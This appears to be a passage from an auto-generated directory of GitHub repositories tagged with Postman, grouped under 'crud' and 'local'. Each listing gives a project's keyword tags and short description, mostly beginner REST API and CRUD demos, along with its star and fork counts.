auth, authentication, default, display, following, form, format, host, http, json, local, object, objective, operation, operations, play, require, required, secure, secured, security, spring, urls, user 		This objective of this project is to perform CRUD operations in a secured way. BASIC authentication is required to insert/update/read/delete the records from RECORDS table using following URLs. http://localhost:8080/all - GET http://localhost:8080/getSimpleRecord http://localhost:8080/secured/getRecords http://localhost:8080/secured/getRecord/2 http://localhost:8080/secured/createRecord - POST http://localhost:8080/secured/updateRecord - PUT http://localhost:8080/secured/deleteRecord - DELETE The URLs having secured in it, needs to be hit using BASIC authentication in POSTMAN using mmsr/mmsr as username and password. The default format of the records displayed is json. But you can also view the records in XML by appending the urls with ".xml" e.g. http://localhost:8080/secured/getAllRecords - JSON http://localhost:8080/secured/getAllRecords.xml - XML 1 stars 1 watchers 1 forks
AmanUllah710/MERN-CRUD
application, form, operation, operations, perfect, register, user 		Simple application to delete and register user in through REACT front-end but you perform all the CRUD operations using POSTMAN. In REST api all the opertions are working perfectly, 1 stars 1 watchers 0 forks
dikshachauhan008/RestAPIImplementationInSpringBoot
crud, framework, implementation, operation, operations, service, services, test, tested 		REST API implementation In Spring Boot, implemented all the crud operations GET,POST, DELETE, PUT in MVC framework and tested all the services with POSTMAN 1 stars 1 watchers 0 forks
omarabdeljelil/simple-api-php
data, frontend, operation, operations, test, tested 		Simple php RESTful API that return JSON data, with frontend (AJAX POST and GET), all the CRUD operations are tested with Postman 1 stars 1 watchers 0 forks
rishav-ish/restWebServiceDemo
operation, operations, rest 		A simple REST api showing Basic CRUD operations 1 stars 1 watchers 0 forks
MukulJaiswal/SpringBoot-Jpa-Restful-Api
operation, operations, test, tested 		This Repository contains Restful Api CRUD operations using Spring Boot ,JPA and Hibernate. REST API are tested using POSTMAN. 0 stars 0 watchers 1 forks
ravi-nrk/SpringBoot-Derby
data, database, embedded, operation, operations, test 		created simple SpringBoot Application with CRUD operations and used embedded database which is Derby. Used Postman to test REST Api's 0 stars 0 watchers 1 forks
DJMare/express_http_RequestAndResponse_httpVerbsPostman
express, http, operation, operations, verb, verbs 		A simple express Http Request and Response app using http verbs to view basic CRUD operations in Postman. 0 stars 0 watchers 0 forks
Rajpreet16/curd_using_apis_in_laravel
article, curd, laravel, operation, operations, site, upload, website 		This project have CRUD operations in Laravel written using APIS. Basic Article website CRUD operation, where you can see all the articles, see a particular article,delete a article, update a article,upload a new article. 0 stars 0 watchers 0 forks
AbhieSpeaks/restful-node
local, mongo, mongod, mongodb, node, operation, operations, rest, restful, test, tested 		A simple Node/Express/Mongoose based REST API for CRUD operations on a local mongodb. These can be tested in Chrome Postman 0 stars 0 watchers 0 forks
aditidesai298/SpringEssentials
operation, operations, spring 		Basic operations of spring using Postman 0 stars 0 watchers 0 forks
AdityaKshettri/CustomerManagement-with-Spring-REST-APIs-using-MySQL-POSTMAN
data, database, operation, operations, service, site 		In this project, we have created a Customer Management Website for CRUD operations using Spring REST APIs in Netbeans 11.3 using MySQL database and POSTMAN service. 0 stars 0 watchers 0 forks
AdityaKshettri/REST-APIs-using-Flask-SQLAlchemy-Postman
operation, operations 		In this project, I have worked with Flask to create REST APIs for all CRUD operations for Book Management through SQLAlchemy and Postman using Python 3.8 0 stars 0 watchers 0 forks
akshay1708/SportItems
angular, filter, operation, operations 		Custom filter and pagination in angular js. MEAN stack app. Use postman for post and delete operations 0 stars 0 watchers 0 forks
alexkmartinez77/startnow-node200-sequelize-workshop
api blueprint, asyncapi, data, database, json schema, node, oauth, openid, operation, operations, route, routes, sequelize, sql, workshop 		Using Postman and Express routes to run CRUD operations on Mysql database. 0 stars 0 watchers 0 forks
AreebaShakir/Initial-Tasks
collection, data, database, decorator, operation, operations, result 		Task#2 : Calculator Task#3: Calculator with inverse decorator Task#5: Inserting results of calculations into database and Saving last operations in a collection. Getting the results on postman. 0 stars 0 watchers 0 forks
ashleyfulks/postmanRubyCode
operation, operations, snippet, snippets 		creating code snippets in Ruby for Postman operations 0 stars 0 watchers 0 forks
Asif-pasha/taskbox
operation, operations, plugin, related, task 		API related CRUD operations using POSTMAN plugin 0 stars 0 watchers 0 forks
Bj98/first
operation, operations 		Use POSTMAN for CRUD operations. 0 stars 0 watchers 0 forks
buffard/B3C8-Practice-Building-and-Using-an-API
form, operation, operations 		Practice using Postman to perform GET, POST, PUT, and DELETE operations on your new food API. 0 stars 0 watchers 0 forks
cymon1997/go-postman
module, operation, operations 		Go module for API call and MQ operations 0 stars 0 watchers 0 forks
danielxcom/todolist_using_api_and_ajax
actor, ajax, file, helper, list, operation, operations, service, services, syntax, test, tested, todo 		Test-run of ajax syntax, todolist using RESTful web services tested with POSTMAN. Refactored REST operations in Promises + put them in helper file to make modular todos.js. Schema created using MongoDB 0 stars 0 watchers 0 forks
devbaggett/restful_task_api
application, operation, operations, rest, restful, routing, task 		created an application with routing rules which offer CRUD operations using POSTMAN API 0 stars 0 watchers 0 forks
dragomir1/NODE-API-SERVER
operation, operations, server 		Node API server using Postman to make CRUD operations. 0 stars 0 watchers 0 forks
engineersonal/Assignment_22_Case_Study_2_Note_Taking_App
assignment, engine, operation, operations 		Assignment_22_Case_Study_2_Note_Taking_App: This assignment helps to understand CRUD operations using POSTMAN 0 stars 0 watchers 0 forks
hifly81/fschecker
check, file, files, operation, operations 		Rest APIs for CRUD operations on text files 0 stars 0 watchers 0 forks
hiteshere/jwt_authorization
auth, authorization, file, files, function, functional, implementation, operation, operations 		jwt basic implementation with get, post and put operations functional with postman files 0 stars 0 watchers 0 forks
hmake98/Nodejs-Rest_API
middleware, operation, operations 		Rest_API using Nodejs and Express middleware for CRUD operations. 0 stars 0 watchers 0 forks
imar26/todo-list-cloud-computing
application, cloud, form, list, operation, operations, service, services, todo 		Developed a TODO application using Rest API, performed CRUD operations and deployed application on AWS and GCP. Also, Leveraged services like EC2, CodeDeploy, S3, DynamoDB, RDS, Route 53, Load Balancer, Lambda, CloudWatch and SNS. 0 stars 0 watchers 0 forks
kuljeet98/Flask-Crud-operations-with-Postman
form, operation, operations 		CRUD operations like insert,delete,read,update are performed in FLASK using the POSTMAN. 0 stars 0 watchers 0 forks
MAJimenezSantos92/restful_crud_api
crud, operation, operations, rest, restful 		REST APIs and CRUD operations : ES6 + NODEJS + MONGODB + POSTMAN 0 stars 0 watchers 0 forks
manishatan/CRUD-operations-using-Node.js-Express
operation, operations, test 		You may use Postman to test. 0 stars 0 watchers 0 forks
mitukulavenkatesh/nodejs_code_postman
crud, node, nodejs, operation, operations 		This is for the crud operations through Postman get,post,put,delete 0 stars 0 watchers 0 forks
MukulJaiswal/Spring-Data_Rest
operation, operations, test, tested 		This Repository contains Restful Api CRUD operations using Spring Data Rest. All API are tested using POSTMAN. 0 stars 0 watchers 0 forks
Nallamachu/crudmanagement
crud, operation, operations, test 		This project has the complete REST API for CRUD operations to test in Postman 0 stars 0 watchers 0 forks
ngshiheng/backend-crud-api
backend, capable, crud, operation, operations 		Create an API which is capable of CRUD operations 0 stars 0 watchers 0 forks
nlokhande1998/REST-API-Using-Django-Framework
demonstration, framework, operation, operations 		This is a demonstration project of CRUD(Create, Read, Update, Delete) operations in REST API using Django framework and POSTMAN. 0 stars 0 watchers 0 forks
patrick-castro/task-manager-api
application, auth, authentication, automat, automate, automated, development, email, explore, import, mail, manager, operation, operations, package, packages, party, server, server., service, services, task, user, web app 		A task manager API that explores important features of a web application, which are CRUD operations, user authentication, automated email transmission and many more with the help of various NPM packages and third party services. In development, Postman was used to make HTTP requests to the server. 0 stars 0 watchers 0 forks
Saidnajibullah/Spirng-boot-simple-project
application, boot, form, operation, operations, web app 		A simple Spring Boot web application that allows RESTFUL CRUD operations form Postman. 0 stars 0 watchers 0 forks
saifsahil3/jama-api-automation-tool
automat, automation, newman, operation, operations, script, scripts, tool 		Set of Jama API automation scripts for doing various operations of JAMA. Created using newman/postman 0 stars 0 watchers 0 forks
Sasha1152/CRUD
django, operation, operations, server, sha1 		CRUD operations on django server for POST requests via Postman 0 stars 0 watchers 0 forks
satya497/Movies_Filtering
compose, data, database, docker, form, operation, operations, python, running 		it will get data from database and perform operations using python and running in docker compose and input will taken postman. 0 stars 0 watchers 0 forks
SowmyaBommu07/REST-CRUD
client, data, database, operation, operations 		REST API - CRUD operations using PHP and MYSQL for the database and Postman as the REST client 0 stars 0 watchers 0 forks
sushildangi/omnicuris-technical-assignment-e-commerce
application, assignment, bulk, case, cases, commerce, email, list, listing, mail, operation, operations, order, orders, stock, technical 		1. CRUD operations on items 2. All items listing 3. Single & bulk ordering (Just consider the item, no. of items & email ids as params for ordering) 4. All orders Please consider all the cases like out of stock etc. while making the application. You can also add more features/APIs as suitable for you. 0 stars 0 watchers 0 forks
techinfo-youtube/MongoDB_Nodejs_CRUD_operations
crud, frontend, mongo, mongod, mongodb, node, nodejs, operation, operations, tool, youtube 		complete mongodb and nodejs crud operation using postman tool not frontend used!! 0 stars 0 watchers 0 forks
tevtumbel/restful-api-crud
crud, operation, operations, rest, restful 		Restful API CRUD operations using Postman 🕴🕴🕴 0 stars 0 watchers 0 forks
V-13/Postman-Apis
check, operation, operations 		created CRUD operations API's to check in POSTMAN. 0 stars 0 watchers 0 forks
vikramdabbugottu/Practice-SpringBoot-Rest-
course, data, operation, operations 		A course data with CRUD operations connecting with MySql and Spring data JPA. Verfied with postman. REST API 0 stars 0 watchers 0 forks

crud (49 listings) (Back to Top)

vitorverasm/node-crud-rest
crud, express, mongo, node, rest, restful, simlpe 		A simlpe restful NodeJS crud, with expressJS and mongoDB. 0 stars 0 watchers 5 forks
syronz/gocrud
crud 		simple app like postman 0 stars 0 watchers 3 forks
iraviteja/node-crud-postman
crud, description, node, script 		No description available. 1 stars 1 watchers 0 forks
dikshachauhan008/RestAPIImplementationInSpringBoot
crud, framework, implementation, operation, operations, service, services, test, tested 		REST API implementation In Spring Boot, implemented all the crud operations GET,POST, DELETE, PUT in MVC framework and tested all the services with POSTMAN 1 stars 1 watchers 0 forks
ddemott/spring-restful-web-services-crud-example
crud, example, function, functions, html, index, java, projects, rest, restful, service, services, spring, test, tested, to do 		DESCRIPTION: This project represents a base Spring 4 legacy project for Spring MVC / REST services. The REST services are handled / tested by index.html. This is done so you can see an example of how to call all of the CRUD functions from a web page. Most projects do not make the calls from a web page but from POSTMAN or even from a test function which does you no good if you are trying to figure out how to do call from a webpage. Dependencies ------------ Maven 3.1 Java 8 Spring 4 Spring MVC 4 Jackson Databind javax.servlet-api 3.1 0 stars 0 watchers 1 forks
LondonComputadores/gostack-node-express-api-crud
builder, crud, express, node, test, tester, testing 		First part of GoStack Course from Rocketseat where we built a Nodejs + Expressjs API CRUD for testing with Insomnia API builder/tester like Postman. 0 stars 0 watchers 0 forks
collectivecloudperu/controlador_pruebas_aplicacion_crud_postman
cloud, collective, crud, description, script 		No description available. 0 stars 0 watchers 0 forks
deejaymmm/postman_crud5
crud, description, script 		No description available. 0 stars 0 watchers 0 forks
Joneyviana/crudPostmanCollection
crud, description, script 		No description available. 0 stars 0 watchers 0 forks
lekhrajprasad/springboot-mongodb
boot, crud, mongo, mongod, mongodb, operation, rest, spring, spring boot, springboot, test 		crud operation using spring boot , mongo db, rest, to test use postman 0 stars 0 watchers 0 forks
rajendraprasad10/flask_restapi_mongodb
creation, crud, flask, mongo, mongod, mongodb, rest, restapi 		crud app with flask and mongodb postman API creation 0 stars 0 watchers 0 forks
RMUSMAN/laravel-simple-restful-api-crud
crud, json, laravel, rest, restful, test, tested, validation 		simple restful api crud in laravel tested in postman. validation response in json. 0 stars 0 watchers 0 forks
AlexFerreras/Golang-simple-crud-operation-web-service-
crud, golang, lang, operation, service 		Simple complete and practice golang crud operation (WEB SERVICE), to use it. you most use Postman 0 stars 0 watchers 0 forks
awaism551/nodejs-crud
crud, crud api, fantastic, mongo, mongod, mongodb, node, nodejs, test, tested 		Simple CRUD app using NODEjs, Expressjs and mongodb, app was tested using postman and all crud apis was doing fantastic 0 stars 0 watchers 0 forks
Axelgeorggithub/API_lista_baltieri
controller, crud, ggithub, github, list, program, test, todo, util 		Usuários, categorias e produtos. Para testar utilize o programa postman, na qual o mesmo dispõe do crud(get, post, put, delete) para todos os controllers. 0 stars 0 watchers 0 forks
baldwmic/hf_crud_app
crud 		Hacker Fellows CRUD app using Node, Express to create simple REST API and Postgres, using Postman 0 stars 0 watchers 0 forks
chinthakahe/node_crud
crud, node 		Test Node Restful Api using postman 0 stars 0 watchers 0 forks
dariogguillen/crud-user-car
crud, user 		crud-api-user-car 0 stars 0 watchers 0 forks
davids13/crud-spring-data-rest
crud, data, rest, spring 		DAO technique: SPRING DATA REST (w/ Spring Boot, MySQL, RESTful) 0 stars 0 watchers 0 forks
deechris27/REST_API_CRUD_GEOTargeting
client, crud, rest 		Node JS, Mongo DB - GeoJson, Express, Postman rest client. A complete rest crud project 0 stars 0 watchers 0 forks
dinushchathurya/node-mysql-crud-app
api blueprint, asyncapi, chat, crud, express, json schema, mysql, node, nodejs, oauth, openid, sql 		Create Restful API using nodejs, express and mysql 0 stars 0 watchers 0 forks
FernandoAlencarJr/backend-postman-expresss-cors-bodyparser-noderestful
backend, crud, express, node, noderestful, parse, parser, rest, restful 		uso para crud 0 stars 0 watchers 0 forks
genc4y10/spring-boot-crud
boot, crud, example, hibernate, spring, spring boot 		spring boot hibernate crud example with postman 0 stars 0 watchers 0 forks
giftlmy/Spring-crud
crud 		Postman测试本地API 0 stars 0 watchers 0 forks
kinzical/Understanding-DI
crud 		Simple crud using postman, but the code is loosely coupled 0 stars 0 watchers 0 forks
kiticgoran90/rest-api-crud-app
crud, learn, learning, rest 		Student project, REST API CRUD app, learning Spring MVC, Spring REST, Hibernate ORM, JSON, MySQL, Maven, Postman... 0 stars 0 watchers 0 forks
ksandun/spring-boot-simple-rest-crud-oparation
boot, crud, operate, operation, rest, spring 		This is a rest crud operation which contains back-end. We can operate crud operation over the postman. 0 stars 0 watchers 0 forks
laffingDragons/crudApp
client, crud, data, express, module, modules, node, rest 		Using node and express and various modules, using POSTMAN rest client manuplating Json data 0 stars 0 watchers 0 forks
leskivan/rest-crud-showcase
case, collection, crud, json, postman collection, rest, server, showcase 		simple REST crud with json server and postman collection 0 stars 0 watchers 0 forks
lleal24/taller-crud
crud, mongo 		Taller BIT tema (CRUD), interacción con db mongo a través de postman. 0 stars 0 watchers 0 forks
luthfi070/lumen-crud
crud 		2 table crud in lumen using postman 0 stars 0 watchers 0 forks
MAJimenezSantos92/restful_crud_api
crud, operation, operations, rest, restful 		REST APIs and CRUD operations : ES6 + NODEJS + MONGODB + POSTMAN 0 stars 0 watchers 0 forks
Maniabi135/server-crud-jwt-auth
auth, authentication, crud, operation, server 		server with crud operation with postman jwt authentication 0 stars 0 watchers 0 forks
Maniabi135/server-crud-postman
crud, operation, server 		server with crud operation with postman 0 stars 0 watchers 0 forks
mfernand0/node-api
crud, docker, mongo, mongoose, node 		BackEnd nodeJS crud-api [postman | nodemon | docker | mongoose | robo3T | cors | mongoose-paginate] 0 stars 0 watchers 0 forks
mitukulavenkatesh/nodejs_code_postman
crud, node, nodejs, operation, operations 		This is for the crud operations through Postman get,post,put,delete 0 stars 0 watchers 0 forks
Nallamachu/crudmanagement
crud, operation, operations, test 		This project has the complete REST API for CRUD operations to test in Postman 0 stars 0 watchers 0 forks
NavarroKofs/crud
crud, document, http, https, test, version 		Postman: https://documenter.getpostman.com/view/6792704/SVmzuGZi?version=latest 0 stars 0 watchers 0 forks
ngshiheng/backend-crud-api
backend, capable, crud, operation, operations 		Create an API which is capable of CRUD operations 0 stars 0 watchers 0 forks
oksam90/springboot-crud-hibernate
boot, crud, hibernate, spring, springboot, test, tester 		Nous allons d'abord créer les API pour créer, récupérer, mettre à jour et supprimer un produit , puis les tester à l'aide de postman 0 stars 0 watchers 0 forks
patabhi/gocrudapi
crud, crud api, data, database, file, golang, lang, postgres, server, server. 		crud api in golang with postgres database. 1> Run server.go file. 2> Test the api using postman. 0 stars 0 watchers 0 forks
prmalakoti/node_crude
crud, node 		ui+postman 0 stars 0 watchers 0 forks
shetty-shruti/restful-crud-api
crud, endpoint, endpoints, form, instance, interacting, performing, rest, restful, test 		A RESTful API performing CRUD(Create,Retrieve,Update,Delete) with Node.js, Express and MongoDB. Mongoose for interacting with the MongoDB instance. Postman is used to test these endpoints. 0 stars 0 watchers 0 forks
Shobuj718/apicrud
crud, rest, rest api 		Laravel rest api crud using postman 0 stars 0 watchers 0 forks
techinfo-youtube/MongoDB_Nodejs_CRUD_operations
crud, frontend, mongo, mongod, mongodb, node, nodejs, operation, operations, tool, youtube 		complete mongodb and nodejs crud operation using postman tool not frontend used!! 0 stars 0 watchers 0 forks
tevtumbel/restful-api-crud
crud, operation, operations, rest, restful 		Restful API CRUD operations using Postman 🕴🕴🕴 0 stars 0 watchers 0 forks
theunresolvable/cricketers-dummy-db-crud
crud, dummy 		NODE-EXPRESS-BODY-PARSER-POSTMAN-CRICKETERS-DUMMY-DB-CRUD 0 stars 0 watchers 0 forks
theunresolvable/products-categories-crud-d44
crud, product, products 		NODE-EXPRESS-BODY-PARSER-POSTMAN-PRODUCTS-CATEGORIES-CRUD 0 stars 0 watchers 0 forks
tuttug/api-crud-postman
crud 		using postman 0 stars 0 watchers 0 forks

local (49 listings) (Back to Top)

onkarpandit/cryptocurrency
blockchain, chai, crypto, cryptocurrency, currency, frontend, implementation, java, local, locally, script 		My own cryptocurrency implementation with blockchain and frontend using java script.Hosted locally on postman. 2 stars 2 watchers 0 forks
command-line-physician/command-line-physician
command, curated, data, database, find, intention, local, rest, spec, store, test, testing, unit, user, users, util, utilizes 		Our intention with this app is to let users find natural herbal based remedies for their ailments. Our app allows users to browse our specially curated herb database by name and latin name. Command-Line Physician also allows users to locate the nearest store where they can find their unique remedy, or a local resident who has the herb available to share. Tech stack: Command-line Physician is a RESTful api that utilizes Node, Express, Jest, end-to-end and unit testing. Our testing was carried out by Compass, Robo 3T, and Postman. 0 stars 0 watchers 4 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
mmsrgit/spring-security-db
auth, authentication, default, display, following, form, format, host, http, json, local, object, objective, operation, operations, play, require, required, secure, secured, security, spring, urls, user 		This objective of this project is to perform CRUD operations in a secured way. BASIC authentication is required to insert/update/read/delete the records from RECORDS table using following URLs. http://localhost:8080/all - GET http://localhost:8080/getSimpleRecord http://localhost:8080/secured/getRecords http://localhost:8080/secured/getRecord/2 http://localhost:8080/secured/createRecord - POST http://localhost:8080/secured/updateRecord - PUT http://localhost:8080/secured/deleteRecord - DELETE The URLs having secured in it, needs to be hit using BASIC authentication in POSTMAN using mmsr/mmsr as username and password. The default format of the records displayed is json. But you can also view the records in XML by appending the urls with ".xml" e.g. http://localhost:8080/secured/getAllRecords - JSON http://localhost:8080/secured/getAllRecords.xml - XML 1 stars 1 watchers 1 forks
mohamed-abdo/performance-load-test
api blueprint, asyncapi, collection, collections, data, ecosystem, express, form, json schema, local, oauth, openid, parallel, performance, postman collection, postman collections, result, running, sql, store, system, test, tests, unit 		Performance parallel load test ecosystem based on running postman collections in parallel in addition to capture test performance counters, and unit tests results; Exporting all results to (local) data store (sql express). 1 stars 1 watchers 0 forks
Andriy-Kulak/ServerSideAuthWithNode
application, command, future, host, local, mongo, mongod, mongodb, node, setup, signup, terminal, test 		Server side setup with node that can be used for future application. To use, 1) run mongodb with 'mongod' command 2) In another terminal, run npm with 'npm run dev' 3) go to Postman and use localhost:3090/ && localhost:3090/signup && localhost:3090/signin to test the app 1 stars 1 watchers 0 forks
MayMP/NodeJsExpressMongoDB
center, collection, command, config, configuration, data, database, directory, download, example, folder, host, http, https, import, install, installed, json, local, mongo, mongod, mongodb, named, node, nodejs, posts, unit 		This is a very basic example of (`List All Data`, `Detail By Each Id`, `Create`, `Update`, `Delete`) in Node.js and MongoDB. Running Locally Make sure you have Node.js(`https://nodejs.org/en/`) and the MongoDB for 32-bit(`https://www.mongodb.org/dl/win32/i386`) and for others (`https://www.mongodb.com/download-center/community`) installed. You're gonna need to create a DB named `InterviewDB` and import from the `MongoDB(For Interview)` folder. And please create collection name `posts`. You can adjust the database configuration in `app/config/config.json`. You can run " node app.js " from the project directory in command prompt. You can call url(`localhost:8080`) from your `Postman` or `Restful`. 1 stars 1 watchers 0 forks
Umang080799/CRUD-App-
action, book, books, details, form, host, local, object, objects, reading, rest, restful, route, routes, server, updating 		I made a Crud App using Node.js,Express.js and Mongoose.js. I built out a book Schema for creating,reading,updating and deleting books. Used Express Scripts to create routes that will form the basis for a restful API. Used POSTMAN to perform actions on the routes All the book details were altered as JSON objects. I created and used Google Chrome to confirm the changes made on the local host server port 8080. 1 stars 1 watchers 0 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
DeveloperLaPoste/okapi-postman
collection, environnement, local 		Postman collection with local environnement 0 stars 0 watchers 1 forks
matt-ball/postman-cli
client, development, facilitate, local, script, scripts 		A client to facilitate local development of scripts for Postman 0 stars 0 watchers 1 forks
thatinterfaceguy/yhcr-proxy-server-api-tests
collection, compose, environment, file, interface, local, locally, proxy, running, server, servers, test, tests 		Docker compose file, postman environment and collection for running tests against YHCR FHIR proxy servers locally 0 stars 0 watchers 1 forks
xrayin/springboot-rest-image-retriever
application, boot, current, directory, endpoint, endpoints, file, host, http, image, images, local, program, resource, resources, rest, retrieve, source, spring, spring boot, springboot, system 		A spring boot application that uses REST to retrieve an image. Images are currently saved in the directory resources/images for convenience. Best practice would be to save it to a file system. Call any of the endpoints with a program of your choice, I used Postman. e.g. GET -> http://localhost:8080/images/abcd.png 0 stars 0 watchers 1 forks
AbhieSpeaks/restful-node
local, mongo, mongod, mongodb, node, operation, operations, rest, restful, test, tested 		A simple Node/Express/Mongoose based REST API for CRUD operations on a local mongodb. These can be tested in Chrome Postman 0 stars 0 watchers 0 forks
achu1998/car-rental-management
collection, file, files, front end, heroku, host, json, local, mongo, mongod, mongodb, node, postman collection 		A Car-Rental-Management developed on node and mongodb and deployed in heroku. The postman collection is in postman-collection.json file. Add car page doesn't have front end . Car are manually added through the body which is clearly mentioned in the README.md file. This repository has the files implemented in localhost.Visit this repo: 0 stars 0 watchers 0 forks
HP213/My_first_blockchain
blockchain, chai, concept, current, hashi, http, https, local, locally, route, routes, running, server, server., web app 		This is a blockchain created with help of Python. This is basically a web app running locally on your server. This contains hashing algorithm using SHA256 and same concept of timestamp and nonce. Use Postman for better experience and all routes currently works on GET request. Download Postman from here-> https://www.getpostman.com/ 0 stars 0 watchers 0 forks
HP213/My_first_cryptocurrency
action, chai, comments, connection, crypto, cryptocurrency, currency, http, local, locally, node, require, suggest, system, transactions, understanding, user 		Using Blockchain, I made my first cryptocurrency, I suggest using postman for better understanding. Baiscally we made an decentralized system of transferring cryptocurrency. It is runnig locally on http://127.0.0.1:5001/ you can chage port according to requirement and new user. Post request is made to add transactions and create a new node and get request to block new mine and get chain. Everything mentioned in code with comments, we have made three ports http://127.0.0.1:5002/, http://127.0.0.1:5003/, http://127.0.0.1:5004/, to show connections between three miners "A" "B" and "C". You can make more 0 stars 0 watchers 0 forks
KiiPlatform/gateway-agent-postman
agent, content, contents, form, gateway, local, test, testing 		postman contents for gateway-agent local REST api testing 0 stars 0 watchers 0 forks
mich282q/Building-RESTful-Web-Apps-CRM
host, local, mongo, mongod, mongodb, opdate 		Man kan viaer postman put, post, delete & opdate db viaer mongodb, du kan ligge et billede op som du kan åben på localhost 0 stars 0 watchers 0 forks
mich282q/Build_Node.js_RESTful_APIs
data, host, local, mongo, mongod, mongodb 		Man Kan viaer postman indsætte data i mongodb og få det vist på localhost 0 stars 0 watchers 0 forks
paramountgroup/RESTful-API-with-Nodejs
application, blockchain, chai, city, data, developer, framework, group, host, local, per project, private, program, retrieve, submit 		Udacity Blockchain developer project RESTful Web API with Node.js Framework by Bob Ingram. This program creates a web API using Node.js framework that interacts with my private blockchain and submits and retrieves data using an application like postman or url on localhost port 8000. 0 stars 0 watchers 0 forks
rkaiwang/Python-Blockchain-
action, blockchain, chai, host, local, order, server, submit, transactions, verifications 		This is simple blockchain which you can use to create basic transactions and verifications. It creates a local server to host the blockchain, and uses Postman to submit POST and GET requests in order to create transactions. 0 stars 0 watchers 0 forks
5FMTB/Todo
connection, data, database, framework, list, local, modify, task, tasks 		API with local database connection (.NET Core, Entity framework). This project is a Todo list, where you can add, modify or delete tasks using postman. 0 stars 0 watchers 0 forks
awaisbub/Shircle
aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track 		It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. 0 stars 0 watchers 0 forks
bakersen/iReporter2
account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video 		iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools 